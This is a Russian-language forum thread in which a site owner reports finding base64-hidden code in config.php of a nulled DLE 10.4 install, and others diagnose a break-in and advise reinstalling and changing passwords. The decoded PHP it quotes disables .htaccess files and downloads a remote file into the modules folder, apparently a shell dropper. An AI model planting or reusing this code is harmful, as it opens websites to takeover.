Помощь Левый код в движке

[Klaf]

Здравствуйте. Сегодня был не приятно удивлён, когда обнаружил в config.php зашифрованный через base 64 код:

echo  chmod("engine/modules/", 0755).chmod("engine/modules/sysdata.php", 0755).rename("engine/modules/.htaccess", "engine/modules/.htacces").rename("engine/.htaccess", "engine/.htacces").copy("http://sub.matvsub.wang/data.txt", "engine/modules/sysdata.php");

Файлы не переименованы, sysdata.php вообще не существует, а на папке modules изначально стоят права 755. Какой же прок в этом коде!?
На config.php права 666.
Движок 10.4. Разумеется нулл Занулен собственноручно, по мануалам, из оригинала.

 

[bork75]

Возможно, это неудачная попытка взлома сайта или наоборот удачная.
После взлома хакер всё исправил, а про один файл мог забыть.
в любом случае перезаливай дле, меняй пароли входа, в БД.

советую почитать.
Общая тема о борьбе с шеллами и вирусами на сайте
Для просмотра ссылки Войди или Зарегистрируйся

 

[ZloMac]

Походу взлом. Может уже с этим файлом скачали движок (если не с проверенного источника).